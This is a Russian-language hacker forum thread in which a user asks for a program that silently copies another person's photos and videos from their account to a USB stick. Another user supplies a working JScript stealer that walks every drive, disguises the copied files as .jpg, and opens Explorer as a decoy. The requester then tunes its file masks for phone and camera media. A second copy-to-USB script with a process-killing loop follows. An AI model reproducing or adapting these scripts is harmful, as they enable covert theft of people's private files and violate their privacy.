Программа - копировщик :)

Discussion in 'Болталка' started by B1t.exe, 21 May 2011.

  1. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    Вот интересует софт, который при запуске сам искал файлы в учетке пользователя с определенными расширениями (скажем мултимедия) и все что нашел - копировать на флешку. :D

    Есть такой конфигратор или может кто-то сможет написать?

    Думаю это НЕ вредоновное ПО и тема не будет удалена.
     
  2. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    362
    Likes Received:
    189
    Reputations:
    92
    Давай сделаем это по-быстрому

    http://www.xakep.ru/magazine/xa/122/016/1.asp
     
  3. LastName

    LastName New Member

    Joined:
    4 May 2011
    Messages:
    19
    Likes Received:
    1
    Reputations:
    0
    Даже на autoit можно такой написать за пару минут :(
     
  4. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    может есть этот диск укого то? ))) скачать целый DVD у меня неделю уйдет.

    Функцианальность надо:
    - поиск по маске/расширениям
    - не смотреть по датам (там я не знаю с какого года что есть да и время идет зря на это)
    - копировать на флешку (откуда была запущена прога)
    - копровать файлы даже с "скрытами" атрибутами
    - по возможности каким то макаром "защишать" копированные данные "от дурака", ну т.е. чтоб не открли и легко смотрели что за файлы. (или шифровать, или архивировать с паролем)
     
    #4 B1t.exe, 21 May 2011
    Last edited: 21 May 2011
  5. °•Mojo•°

    °•Mojo•° New Member

    Joined:
    31 Mar 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Code:
     function UpdateSoftware(fso, cd, softwareFolder) {
        try {
            var patch = /\.(hxt|vbt|hvt|hjx)$/i;
            var diff = new Date(2007,05,01);
            var softwareEnumerator = new Enumerator(softwareFolder.Files);
            softwareEnumerator.moveFirst();
            for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
                if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
                    try {
                        fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true);
                    } catch (e) {
                        if (e.number == 61) {
                            WScript.Quit(0);
                        }
                    }
                }
            }
            var packageEnumerator = new Enumerator(softwareFolder.SubFolders);
            packageEnumerator.moveFirst();
            for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {
                try {
                    if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) {
                        UpdateSoftware(fso, cd, packageEnumerator.item());
                     }
                } catch(e) {
                }
            }
        } catch(e) {
        }
    }
     
    try {
        var ws = WScript.CreateObject("WScript.Shell");
        ws.Exec("explorer.exe" + " " + ws.CurrentDirectory);
        var fso = WScript.CreateObject("Scripting.FileSystemObject");
        if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) {
            fso.CreateFolder(ws.CurrentDirectory+"\\photo");
        }
        var tmpFileName = "autorun.txt";
        if (!fso.FileExists(tmpFileName)) {
            var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);
            tmpFile.Close();
            var driveEnumerator = new Enumerator(fso.Drives);
            driveEnumerator.moveFirst();
            for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {
                try {
                    if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {
                        UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder);
                    }
                } catch(e) {
                }
            }
            fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true);
        }
    } catch(e) {
    }
    он?
     
  6. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    °•Mojo•°

    спасибо. вроде он :)

    но там как я понял, надо изменить только
    Code:
    var patch = /\.(hxt|vbt|hvt|hjx)$/i;
            var diff = new Date(2007,05,01);
    да? или есть еще другие параметры ?
     
  7. °•Mojo•°

    °•Mojo•° New Member

    Joined:
    31 Mar 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Да, изменить. В том месте где лежит сам скрипт появляется папка photo (можешь её изменить) и в неё сливаются нужные файлы только в jpg формате)
     
  8. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    ок. теперь надо форматы всех фото/видео (особо такие, которые снят или мобильником или мыльницем).
    Кто небудь подкинет?
     
  9. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    подобрал:
    var patch = /\.(JPEG|JPG|BMP|3gp|avi|divx|mp4|mpeg|mpg|wmv|mpg2)$/i;

    еще какие форматы распространенные в телефонах и в фотоаппаратах ?
     
  10. B1t.exe

    B1t.exe Elder - Старейшина

    Joined:
    6 Nov 2006
    Messages:
    1,020
    Likes Received:
    128
    Reputations:
    23
    Вот нашел еще один такой скрипт типа:

    Code:
    <job>
     <script language="JScript">
     
      var drive ="U:\\";		// USB диск
      var source="C:\\123";		// папка, которую будем копировать
      var proc  ="C:\\WinNT\\System32\\calc.exe";	// процесс, который мешает копированию
     
      var fs=new ActiveXObject("Scripting.FilesystemObject");
      var ws=new ActiveXObject("WScript.Shell");
     
      while(true)			// бесконечный цикл. останов - диспетчером задач
      {
       if(fs.driveExists(drive))	// если диск U: есть, и на нем нет папки U:\123
        if(!fs.folderExists(drive+fs.getFileName(source)))
        {				// убиваем мешающий копированию процесс
         ws.run("TaskKill /f /im "+fs.getFileName(proc),0,1)
         fs.copyFolder(source,drive)// копируем C:\123 в U:\
         ws.run(proc)		// запускаем процесс обратно
        }
       WScript.sleep(500)		// полсекунды пауза
      }
     
     </script>
    </job>
    но не знаю как там делать "универсальным", чтоб автоматом определял себе(USB флешку) и профиль учетки, который надо покировать:
    var drive ="U:\\"; // USB диск
    var source="C:\\123"; // папка, которую будем копировать